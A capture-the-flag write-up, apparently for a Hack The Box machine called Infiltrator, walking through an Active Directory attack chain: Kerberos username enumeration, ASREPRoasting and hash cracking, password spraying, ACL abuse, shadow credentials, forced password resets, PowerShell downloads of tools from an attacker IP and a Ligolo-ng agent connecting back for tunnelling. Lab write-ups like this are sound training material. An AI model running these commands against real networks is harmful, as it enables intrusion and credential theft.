Infiltrator
2025-04-14
INTRODUCTION

RECON
nmap scans
Port scan
I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
15220/tcp open unknown
49667/tcp open unknown
49690/tcp open unknown
49691/tcp open unknown
49694/tcp open unknown
49725/tcp open unknown
49756/tcp open unknown
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Infiltrator.htb
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-14 07:55:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
|_ssl-date: 2025-04-14T07:58:24+00:00; 0s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
|_ssl-date: 2025-04-14T07:58:24+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
|_ssl-date: 2025-04-14T07:58:24+00:00; 0s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-14T07:58:24+00:00; 0s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INFILTRATOR
| NetBIOS_Domain_Name: INFILTRATOR
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: infiltrator.htb
| DNS_Computer_Name: dc01.infiltrator.htb
| DNS_Tree_Name: infiltrator.htb
| Product_Version: 10.0.17763
|_ System_Time: 2025-04-14T07:57:44+00:00
|_ssl-date: 2025-04-14T07:58:24+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=dc01.infiltrator.htb
| Not valid before: 2025-04-13T07:49:23
|_Not valid after: 2025-10-13T07:49:23
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
15220/tcp open unknown
49667/tcp open msrpc Microsoft Windows RPC
49690/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49691/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49725/tcp open msrpc Microsoft Windows RPC
49756/tcp open msrpc Microsoft Windows RPC
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-14T07:57:47
|_ start_date: N/A
I’m seeing an Active Directory environment using Kerberos, with an IIS webserver and both WinRM and RDP for remote connection. RDP is a bit of a treat - we don’t often see it.
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No results.
UDP scan
To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT STATE SERVICE VERSION
53/udp open domain Simple DNS Plus
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-14 08:02:04Z)
123/udp open ntp NTP v3
These are typical for Active Directory
Webserver Strategy
Noting the redirect from the nmap scan, I’ll add infiltrator.htb and the domain controller host to my /etc/hosts and do banner-grabbing for the web server:
DOMAIN=infiltrator.htb
echo -e "$RADDR dc01.$DOMAIN $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

(Sub)domain enumeration
Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate domains at this address:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results.
Next I’ll check for subdomains of infiltrator.htb:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
Also no results.
Directory enumeration
I’ll move on to directory enumeration. First, on http://infiltrator.htb:
I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.
WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

Nothing interesting there, either.
Exploring the Website
Next I’ll browse the target website manually a little.
I find it’s really helpful to turn on a web proxy while I browse the target for the first time, so I’ll turn on FoxyProxy and open up ZAP.
The website is a landing page for a digital marketing firm. As far as I can tell, the website is completely static. There is a contact form, but it’s unclear whether or not it does anything.

Now, in ZAP, I’ll add the target infiltrator.htb to the Default Context and proceed to “Spider” the website (actively build a sitemap by following all of the links and references to other pages). The resulting sitemap looked like this:

Those two GET endpoints with different querystrings are the Subscribe and Contact Us forms.
The only discernible hint on the page is the Digital Team section:

There are seven members. Two of them have roles that may involve increased privileges:
- David Anderson (Digital Marketer)
- Olivia Martinez (Chief Marketing)
- Kevin Turner (QA Tester) ⭐
- Amanda Walker (Company Founder)
- Marcus Harris (Developer) ⭐
- Lauren Clark (Digital Influencer)
- Ethan Rodriguez (Digital Influencer)
Username Enumeration
If we could find some actual, verified usernames, it would be very helpful - it would open a lot of options for further enumeration of the target.
Earlier when I was exploring the website I took note of the team composition. It might make sense to build a custom wordlist for this company:
#!/usr/bin/env python3
import sys
team_members = ["David Anderson (Digital Marketer)",
"Olivia Martinez (Chief Marketing)",
"Kevin Turner (QA Tester)",
"Amanda Walker (Company Founder)",
"Marcus Harris (Developer)",
"Lauren Clark (Digital Influencer)",
"Ethan Rodriguez (Digital Influencer)"]
departments = ["marketing", "executive", "it", "qa", "sales"]
company = "infiltrator"
output_file = 'custom_wordlist.lst'
def name_variations(person_name: str):
first = person_name.split()[0].lower()
last = person_name.split()[1].lower()
variations = []
def concat_variations(a, b):
return [f"{a}{b}", f"{a}.{b}", f"{a}_{b}", f"{a}-{b}"]
for a in [first, first[0], first[:3]]:
for b in [last, last[0], last[:3]]:
variations += concat_variations(a,b)
return variations
entries = []
for t in team_members:
entries += name_variations(t)
entries += departments
entries += [company]
with open(output_file, 'w') as f:
for e in entries:
f.write(e + '\n')
print(f'Wrote wordlist: {output_file} ({len(entries)} entries)')
Now I’ll use this script to make custom_wordlist.lst:
python3 build_custom_wordlist.py
# Wrote wordlist: custom_wordlist.lst (258 entries)
We can use this custom wordlist alongside Kerbrute to check for the existence of usernames:
kerbrute userenum -d infiltrator.htb --dc $RADDR -t 100 -o kerbrute.log ./custom_wordlist.lst

It’s a little more useful to have the usernames by themselves, so I’ll split that into another wordlist:
cat kerbrute.log | grep 'VALID' | awk '{print $7}' | cut -d '@' -f 1 | tee ../loot/known_usernames.txt
FOOTHOLD
ASREPRoast
Now that we have a list of some verified usernames, we can check if any of them have Kerberos preauthentication disabled (which would open them up to an ASREPRoast):
cd ../loot
impacket-GetNPUsers -usersfile known_usernames.txt -no-pass -dc-ip $RADDR 'infiltrator.htb/'

Excellent - Lauren Clark has the UF_DONT_REQUIRE_PREAUTH bit set. We can grab the hash by re-running this command with the extra -request and -format hashcat args:
impacket-GetNPUsers -usersfile known_usernames.txt -no-pass -dc-ip $RADDR -request 'infiltrator.htb/' -format hashcat
⚠️ The hash format looks very similar, but it is in fact different. Be sure to extract the proper format before attempting to crack it.
We can now paste the hash into a file, asrep.hash and attempt to crack it:
vim asrep.hash # [PASTE]
name-that-hash -f asrep.hash # indicates hashcat mode 18200
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
Moments later, we’ve cracked it:

🎉 We’ve found a credential: l.clark : WAT?watismypass!
Kerberos configuration
Given that Lauren Clark is only on the Digital Influencer team, it’s likely they do not have remote access to the domain controller 😂 Still though, it’s worth a try:
I’ve already make a local Kerberos configuration file,
custom_krb5.config. I have a bash script for formatting Kerberos config files, but it’s just an evolution of the one 0xBEN has posted.I’ve also obtained a TGT for
l.clark, so I can try authenticating using Kerberos:impacket-getTGT -dc-ip $RADDR 'infiltrator.htb/l.clark:WAT?watismypass!' export KRB5_CONFIG="$PWD/custom_krb5.conf" export KRB5CCNAME="$PWD/loot/l.clark.ccache"
- ⛔ WinRM with username/password:
WinRM::WinRMAuthorizationError - ⛔ WinRM using Kerberos authentication:
GSS_S_COMPLETE: Invalid token was supplied- I tried with both
impacket-getTGTand withkinit… no clue what’s wrong.
- I tried with both
- ⛔ RDP with username/password:
Connection reset by peer
No problem - it was unlikely to work anyway. Let’s see if we can get any good data from LDAP by collecting some data for Bloodhound.
Lauren Clark
Bloodhound collection
Since we have some credentials, we should be able to freely query LDAP. This could be done manually, but Bloodhound collectors will do a better job anyway.
rusthound-ce -d 'infiltrator.htb' -u 'l.clark' -p 'WAT?watismypass!' -z
Importing this into Bloodhound-CE, we don’t really see much about l.clark. They’re a member of the MARKETING_TEAM group, but that’s pretty much it:

Also, in the interest of determining who we might be able to use for remote access, we can check group membership:
REMOTE MANAGEMENT USERS:m.harris,winrm_svc,administratorREMOTE DESKTOP USERS:o.martinez
User enumeration
We also now see a full list of users on the box (not just the ones I guessed with my custom wordlist). I can see this in Bloodhound, but it’s difficult to show it all on one page, so I’ll use ldapsearch:
ldapsearch -H ldap://infiltrator.htb -D 'l.clark@infiltrator.htb' -w 'WAT?watismypass!' -b 'dc=infiltrator,dc=htb' '(objectClass=user)' |
grep -i 'samaccountname' |
awk '{ $1=""; print substr($0,2) }' |
tr '[:upper:] [:lower:]' |
tee domain_users.txt
The results are as follows:
administrator
guest
dc01$
krbtgt
d.anderson
l.clark
m.harris
o.martinez
a.walker
k.turner
e.rodriguez
winrm_svc
infiltrator_svc$
lan_managment
Credential spraying
Now that we have a complete list of users, let’s try some credential-spraying using our one known password:
crackmapexec smb -u domain_users.txt -p 'WAT?watismypass!' -d infiltrator.htb --continue-on-success $RADDR

I’m not quite sure what that STATUS_ACCOUNT_RESTRICTION result is, so I’ll try credential-spraying at Kerberos instead of SMB:
kerbrute passwordspray --dc $RADDR -d 'infiltrator.htb' domain_users.txt 'WAT?watismypass!'

It’s puzzling why two human users would have the same password, but whatever 👀
David Anderson
We already know that d.anderson has no remote access, but they might have different visiblity over LDAP and might have different SMB shares - I should retrace my enumeration steps.
SMB
I’ll try accessing SMB using plaintext credentials:
smbclient -U 'infiltrator.htb\d.anderson%WAT?watismypass!' -L //$RADDR/
# session setup failed: NT_STATUS_ACCOUNT_RESTRICTION
Now I’ll try using Kerberos:
export KRB5_CONFIG="$PWD/custom_krb5.conf"
kdestroy -A
kinit d.anderson
KRB5CCNAME=/tmp/krb5cc_1000 smbclient -N --use-kerberos=required -L //$RADDR/
# gensec_spnego_client_negTokenInit_step: Could not find a suitable mechtype in NEG_TOKEN_INIT
# session setup failed: NT_STATUS_INVALID_PARAMETER
LDAP (for Bloodhound)
We already have the krb5ccache file cached in /tmp, so we can run rusthound-ce directly:
KRB5CCNAME=/tmp/krb5cc_1000 rusthound-ce -d 'infiltrator.htb' -f 'dc01.infiltrator.htb' --kerberos -z
As soon as we check out the outbound object control for d.anderson, we see that they have GenericAll over the Marketing Digital OU:

With GenericAll, we can do whatever we want with the OU. Specifically, we can write an ACL onto the OU that will then apply to any members of the OU via inheritence. This seems to be a likely path, since the OU is not empty:

In other words, we might be able to use the GenericAll privilege to allow d.anderson to take over e.rodriguez 🤔
GenericAll on OU
We should be able to use our GenericAll on the OU to extend our privilege or all members of the OU. When we have GenericAll/FullControl over an account, one of the best ways to take over the account is using Shadow Credentials.
Another way is to force a password change on the target account, but I would consider that quite rude on a HTB box. It’s good etiquette to avoid making changes that break someone else’s foothold 🎩
We can use the GenericAll over the OU as follows (note that we must use Kerberos for authentication, and must provide the -dc-ip argument):
dacledit.py -k -dc-ip $RADDR -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson':'WAT?watismypass!'

Great, now we should also have FullControl on every member of the OU.
Shadow credentials
Now that we have FullControl on members of the OU, we should be able to proceed with the Shadow Credentials attack to compromise e.rodriguez:
⚠️ There was a regression in the pywhisker repo. As I’m doing this box (Apr 15, 2025), I’ve overcome this by following this comment in the pywhisker repo Issues section.
To fix pywhisker, make this change at line 260:
# from impacket.krb5.asn1 import Ticket as Tickety from impacket.krb5.types import Ticket as Tickety
# PyWhisker to add shadow credential
cd ~/Tools/pywhisker/pywhisker; source ../bin/activate
python3 pywhisker.py -d "infiltrator.htb" --dc-ip $RADDR -u "d.anderson" -p 'WAT?watismypass!' -k --target "e.rodriguez" --action "add" -f 'pywhisker-e.rodriguez' -P 'Infiltrator123!'
mv pywhisker-e.rodriguez* ~/Box_Notes/Infiltrator/

As the pywhisker output indicates, we can now utilize the shadow credentials by obtaining a TGT with PKINITtools:
cd ~/Tools/PKINITtools; source bin/activate
python3 gettgtpkinit.py -cert-pfx ~/Box_Notes/Infiltrator/pywhisker-e.rodriguez.pfx -pfx-pass 'Infiltrator123!' -dc-ip 'dc01.infiltrator.htb' 'infiltrator.htb/e.rodriguez' '/home/kali/Box_Notes/Infiltrator/loot/e.rodriguez.ccache'

⭐ Un-PAC the Hash
When we did the shadow credentials attack,
pywhiskergave us.pemand.pfxfiles to use with the target’s certificate services / PKI. We then ran the private key throughgettgtpkinit.pyfromPKINITtools, which gave us:
- the TGT /
.ccachefile, which is what we wanted (for authentication using Kerberos) 👍- the ASREP hash, because we “might need it later” 🤷♂️
What if I told you that these were the only two things we need to also grab the NT hash? We can use
getnthash.pyalso fromPKINITtoolsfor this:python3 getnthash.py -key 4f253e3dfbde7cc0fc6801bcbda23ea47d28cf818923d65c1ad24596df42c0fe -dc-ip $RADDR 'infiltrator.htb/e.rodriguez' # [*] Using TGT from cache # [*] Requesting ticket to self with PAC # Recovered NT Hash # b02e97f2fdb5c3d36f77375383449e56Yes, it’s truly that easy. This is very helpful, since some tools don’t play nicely with Kerberos, and work much better by passing-the-hash. Performing the above technique (called “Un-PAC the hash”) leaves our options open for a broader set of tools.
For more info about this technique in general, read up on “Pass the Certificate”.
Ethan Rodriguez
Bloodhound
We’ve just moved laterally to another user, e.rodriguez. We should collect more data for Bloodhound, in case we can now “see” something that we couldn’t earlier (as d.anderson or l.clark).
Just like before, we’ll need to use Kerberos for authentication to LDAP 👇
cd ~/Box_Notes/Infiltrator
export KRB5_CONFIG="$PWD/custom_krb5.conf"
cd loot
KRB5CCNAME=e.rodriguez.ccache rusthound-ce -d 'infiltrator.htb' -f 'dc01.infiltrator.htb' --kerberos -z
Apparently, e.rodriguez is the only member of the digital_influencers group:

But it doesn’t seem like that will really matter… That group can’t do anything special, as far as I can see.
What is much more interesting is that e.rodriguez has AddSelf to chiefs marketing, and subsequently chiefs marketing has ForceChangePassword on m.harris:

😄
m.harrisis the team’s developer, and the only regular member ofremote management users; this might be the final approach to us getting a shell on the target with WinRM!
m.harris takeover
AddSelf to group
Bloodhound-CE instructs us to use net rpc for adding a member to a group, but I’ll use BloodyAD instead:
export KRB5_CONFIG=/home/kali/Box_Notes/Infiltrator/custom_krb5.conf
export KRB5CCNAME=/home/kali/Box_Notes/Infiltrator/loot/e.rodriguez.ccache
bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u e.rodriguez --kerberos add groupMember 'CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB' 'e.rodriguez'

Success! Let’s proceed with forcing a password change.
ForceChangePassword
We can use BloodyAD to set a new password, too:
bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u e.rodriguez --kerberos set password 'm.harris' 'S3@gullll'

😕 Huh? Why would that not have worked?
Let’s try the same thing, but instead pass-the-hash using the NT hash we obtained during the shadow credentials attack:
KRB5CCNAME=e.rodriguez.ccache bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u e.rodriguez -p ':b02e97f...redacted...3449e56' set password 'm.harris' 'S3@gullll'

🎉 Excellent! We forced the password change successfully.
Quickly get the TGT
Since this is clearly the “intentional” path of the box, we can be 99% sure that a cleanup script will be running periodically to set the password back to the original value.
To future-proof our password reset, let’s quickly grab a TGT for m.harris:
impacket-getTGT -dc-ip $RADDR 'infiltrator.htb/m.harris:S3@gullll'

Check WinRM
We already know that m.harris is the only “normal” member of the remote management users group, so we can be reasonably sure that we can sign in using WinRM:
BOXPATH=/home/kali/Box_Notes/Infiltrator
export KRB5_CONFIG=$BOXPATH/custom_krb5.conf
export KRB5CCNAME=$BOXPATH/loot/m.harris.ccache
evil-winrm -i dc01.infiltrator.htb -u m.harris -r infiltrator.htb

👏 It worked! We finally have a shell.
USER FLAG
Read the flag
Luckily, m.harris holds the user flag. Go read it for some well-earned points:

ROOT FLAG
Serve the toolbox
I would like to allow m.harris to download some tools from my attacker host. I’ll probably use a mixture of SMB and HTTP (and maybe have a reverse shell later) so I’ll open some firewall ports:
sudo ufw allow from $RADDR to any port 139,445,4444,8000 proto tcp
Now we can establish an SMB share:
sudo impacket-smbserver share -smb2support /tmp/smbshare -user 4wayhs -password 4wayhs
… and on the target, we can map a new drive to the SMB share (for convenience):
net use X: \\10.10.14.13\share /user:4wayhs 4wayhs
Bloodhound - m.harris
When I have a shell, I like to use SharpHound to collect data for Bloodhound. It seems to do the best job, but can only be used locally:
cd C:\Users\m.harris\AppData\Local\Temp
X:\SharpHound.exe -c All --collectallproperties
Annoyingly, it seems that m.harris actually can’t use SMB:

Even more annoying is that it seems we don’t even have curl or wget. We’ll have to use powershell:
(New-Object Net.WebClient).DownloadFile('http://10.10.14.13:8001/SharpHound.exe', ‘C:\Users\M.harris\AppData\Local\Temp\SharpHound.exe’)
.\SharpHound.exe -c All --collectallproperties
This was successful, so I’ll use the Evil-WinRM tool “download” to transfter the SharpHound results back to my attacker host:
download 20250417001807_BloodHound.zip
It’s probably also smart to use rusthound:
KRB5CCNAME=m.harris.ccache rusthound-ce -d 'infiltrator.htb' -f 'dc01.infiltrator.htb' --kerberos -z
I’ve imported both of the .zip files into Bloodhound-CE, but it doesn’t seem like we’ve really gained anything.
Manual enumeration - m.harris
Oddly enough, m.harris seems very limited in what they can do… I can’t even run systeminfo or check tasklist! 😅
Checking net users, we get a reminder that there are three other human users on the box that we haven’t accessed: a.walker, o.martinez, and k.turner
☝️ Reminder:
o.martinezis the only member ofremote desktop users. We’ll keep an eye out for ways to pivot to that account. Also,o.martinezis the only other low-priv user with a home directory:
A.walker Administrator D.anderson
E.rodriguez Guest K.turner
krbtgt L.clark lan_managment
M.harris O.martinez winrm_svc
There are a couple new ports listening locally:
netstat -ano
👇 The ports greater than 40000 are usually just monitoring ports, to keep the HTB box alive; they’re not involved in the lab typically.

There’s DNS on port 53, LDAP on port 389, then something else on port 14121. Monitoring ports aren’t usually that low… 🤔
In addition to those ports on 127.0.0.1, there are a bunch of new ports on 0.0.0.0 that we didn’t see earlier:

That whole block of ports between 14118 and 14130 was not present in our initial scans. A bunch of them are from the same PID. I would love to check what the PID is, but - as mentioned earlier - we can’t run tasklist:
tasklist /FI "PID eq 6072"
# access denied
Maybe it’s worthwhile to set up a tunnel to the target. Since I have a bunch of ports to check, I’ll use Ligolo-ng (right after I check for credential re-use!) 🚩
Automatic enumeration
I’ll run WinPEAS on the target, and check if it picks up on anything interesting:
(New-Object Net.WebClient).DownloadFile('http://10.10.14.13:8001/winPEASany.exe', ‘C:\Users\M.harris\AppData\Local\Temp\winPEASany.exe’)
cd C:\Users\M.harris\AppData\Local\Temp
.\winPEASany.exe

That Comment on k.turner is highly suspicious. Right after my initial local enumeration, I’ll check for credential reuse 🚩
WinPEAS also, somehow, obtained the process info about listening TCP ports:

This outputmessenger_httpd is definitely worth checking out… And if I had to guess, this is related to the suspicious Comment in the k.turner account shown above 🤔
Lastly, WinPEAS shows a couple of templates that we might be able to use. We’ve actually used the first one already, during the shadow credentials attack:

Credential reuse
While checking the user properies of local users on DC01, we found that k.turner had a very odd comment assigned to their user. The comment ("MessengerApp@Pass!") definitely seems like it might be a password, so I’ll try credential spraying:
kerbrute passwordspray --dc $RADDR -d 'infiltrator.htb' domain_users.txt 'MessengerApp@Pass!'
# Done! Tested 14 logins (0 successes) in 0.426 seconds
We didn’t have any success from Kerberos; what about SMB?
crackmapexec smb $RADDR -d infiltrator.htb -u domain_users.txt -p 'MessengerApp@Pass!' --continue-on-success

Also no success. This definitely supports my assumption from earlier that some of the accounts are disallowed from using SMB, though.
🐇 Since this is an “Insane” box, I won’t rule-out the possibility that this
MessengerApp@Pass!user description is actually a rabbit-hole. I’ll keep an eye out for an opportunity to try it.
Ligolo-ng
First, we can start up the Ligolo-ng-proxy on the attacker host. Take note of the TLS fingerprint:
sudo ufw allow from $RADDR to any port 11601
sudo ./ligolo-ng-proxy -selfcert
>> interface_create --name ligolo

Next, I’ll need to get a copy of the ligolo agent onto the target. Since this is a Windows target, we’ll also need the wintun.dll file for the appropriate architecture. I’ll just use an HTTP server for the file transfer.
For more info on starting up Ligolo-ng, check out my guide. However, it’s only applicable to Linux targets, so you may also need to reference the official Ligolo-ng Quickstart Guide.
(New-Object Net.WebClient).DownloadFile('http://10.10.14.13:8001/ligolo/agent-amd64.exe', ‘C:\Users\M.harris\AppData\Local\Temp\agent-amd64.exe’)
(New-Object Net.WebClient).DownloadFile('http://10.10.14.13:8001/ligolo/wintun-DLLs/amd64/wintun.dll', ‘C:\Users\M.harris\AppData\Local\Temp\wintun.dll’)
Now that we have the agent exe on the target, we can connect back to the proxy:
Invoke-Command -ScriptBlock { Start-Process -NoNewWindow -FilePath "C:\Users\M.harris\AppData\Local\Temp\agent-amd64.exe" -ArgumentList "-connect 10.10.14.13:11601 -accept-fingerprint 59093C...REDACTED...E96F5FE" }
Back on the attacker host, we should see the proxy acknowledge the connection:

Within the proxy, we then establish a session then a tunnel:
>> session
- select the session
>> autoroute
- select the route
- use existing interface
- select the existing interface `ligolo`
- start the tunnel: Y

Great! Now to access the locally-listening services on the target, we need to add a route on our attacker host:
sudo ip route add 240.0.0.1/32 dev ligolo
Nmap tunneled scan
nmap -sV -Pn -p 14000-14300 -T4 240.0.0.1/32

Since they’re HTTP, let’s check them out in a web browser.
HTTP on Ports 14123-14126
Port 14123

😮 Whoa! I was not expecting a web app. Check out the directory, “ombro”, and the name of the app, “Output Messenger”. I’d be willing to bet that this is the client-side code:

By reading that, all I can really confirm is that, yes, it’s some kind of real-time messaging application. The code gives us a version number, though: v1.0.18. However, if that version number is right, then the one we are looking at is very old (the patch notes don’t even go back that far!)
I’ll revisit this after checking out the other two ports 🚩
Port 14125

This is clearly some kind of JSON-based API. Maybe it’d be worth fuzzing?
WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST -u http://240.0.0.1:14125/FUZZ -c -t 60 -timeout 4 -ic -ac -mc all -fc 404 -v

Very interesting - we’ve found several subdirectories of /api, but getting a HTTP 401 Unauthorized; it makes perfect sense if we check any of these paths:

Perhaps the web app is using this API? I’ll check later 🚩
Port 14126
Checking port 14126, we get a directory listing:

Following the link brings us to a HTTP 404 page. Maybe this is a misconfiguration? Maybe a path traversal opportunity?
Output Messenger
While skimming over port 14123, we saw that there is an instance of Output Messenger running. The application claims to be an in-house, on-prem alternative to tools like Slack. We already have a credential that seems likely for this, so let’s try it!
k.turner : MessengerApp@Pass!
The credential lets us into the k.turner account:

Initial observations
We can set a custom Status message on our account, but there’s no XSS opportunity there.
There’s a calendar feature, but it’s empty.
The
Adminaccount is logged in right now! We’ve seen before (in Bloodhound) thatadministratorhas an active, logged-on session toDC01- so I guess they’re just lurking in the chat?We have no chat history with any of the Offline users
The General_chat room has a single message from
Adminthat could be a hint:Hello everyone 😃 There have been some complaints regarding the stability of the “Output Messenger” application. In case you encounter any issues, please make sure you are using a Windows client. The Linux version is outdated.
The Dev_Chat room has a substantial discussion on some features they’re adding to a product.
- It’s something about an app that looks up user details over LDAP.
- They’ve recently added AES encryption to the connection (
m.harrisdid it) using the LDAP password. - It has CLI args:
username,password,searched_username, or-default. - The
-defaultoption should also decrypt the password - and hints that we may want to check the exception handling. - The app is with the QA tester right now (that’s
k.turner), butm.harrisdid preliminary testing on it and might still have a copy somewhere.
Lots if info to take in from that. Given that the Admin user is currently logged-in, I’m wondering if it’s actually o.martinez signed in over an RDP session as administrator 🤔
We should definitely try to find a copy of this application.
All of these details point towards somehow using the
-defaultargument and introducing an error, causing the exception handling to kick in, hopefully leaking someone’s already-decrypted password! 🏆
Other credentials
I tested the same password against all other domain users - no other users share a password with k.turner. However, our older credentials (l.clark : WAT?watismypass!) let us see what the marketing team has been up to.

Shocker. The marketing team hasn’t been doing anything. They probably just DM each other on TikTok 🙄
Interestingly though, the d.anderson account that shared a password with l.clark for Kerberos does not share a password for Output Messenger.
As an extra test, I tried forcing a password change on m.harris again, then using that password to log into Output Messenger:
# AddSelf to "Chiefs Marketing"
bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u e.rodriguez -p ":b02e97f...redacted...3449e56" add groupMember 'CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB' 'e.rodriguez'
# ForceChangePassword on m.harris
bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u e.rodriguez -p ":b02e97f...redacted...3449e56" set password 'm.harris' 'S3@gullll'
However, we cannot use this new password:

This suggests that the application that the dev team chat is alluding to is not Output Messenger. Otherwise, the password change would have been picked up by LDAP, right?
So what app are they talking about? Shouldn’t m.harris have some code, or even a backup of it?
Searching for source code
Unfortunately, the chat logs didn’t mention the name of the app, or anything else that could really help us find it. m.harris mentioned that the project could be written in C or C#, but that’s all.
Let’s try a search for file extensions that would indicate some source code:
cmd /c "where /R . *.c *.cs *.csproj"
No results! If m.harris has a copy, it must be archived or something.
Output Messenger files
Since we can’t see the app, maybe someone else can?
Output Messenger Linux Client
What about that hint about the Linux client being out-of-date? It was from #General_chat. Maybe there’s something “broken” to see or access when we use the Linux client?
The Output Messenger Server is Windows-only, but they offer the client for Windows, Mac, and Linux. Since I’ve already established a proxy, it should be pretty easy to set up the client on my attacker host. The client is available for download on the Output Messenger website.
cd ~/Downloads
curl -O https://www.outputmessenger.com/OutputMessenger_amd64.deb
sudo dpkg -i OutputMessenger_amd64.deb
outputmessenger &
We can log in using the same credentials. Since we’re going over the Ligolo-ng tunnel, we’ll use 240.0.0.1:

The interface has a lot of the same elements, but there’s a couple othere things here: Announcements and OutputWall:

The Announcements section was only alerting me that I had logged in from a new device (actually, I got a similar message using the web app client, when I logged in as l.clark). The OutputWall feature, though, has a couple of interesting posts:

😂 Yup! Way ahead of you there, bud!

Now that is interesting. We now know the name of the app, UserExplorer.exe and some possible credentials: m.harris : D3v3l0p3r_Pass@1337!
We can easily confirm the validity of these credentials using, once again, Kerbrute:

It might make sense to check other services for credential re-use too.
Investigating MySQL
Earlier, when using WinPEAS for automatic privesc enumeration, we saw a list of listening ports (except, somehow, WinPEAS could label them each with their parent process name!). Just above the block of OutputMessenger-related ports ranging 14118-14130, there was tcp port 14406, serving MySQL.
🤔 14406 … similar to 3306, the normal MySQL port?
If we can gain access to MySQL, it’s possible we can recover some of the OutputMessenger password hashes, and hope for more credential reuse 💡
For some unknown reason, though, I keep getting an error when trying to access MySQL over my Ligolo-ng tunnel:
mysql -h 240.0.0.1 --port=14406 -u root -proot
# ERROR 2013 (HY000): Lost connection to MySQL server at 'handshake: reading initial communication packet', system error: 11
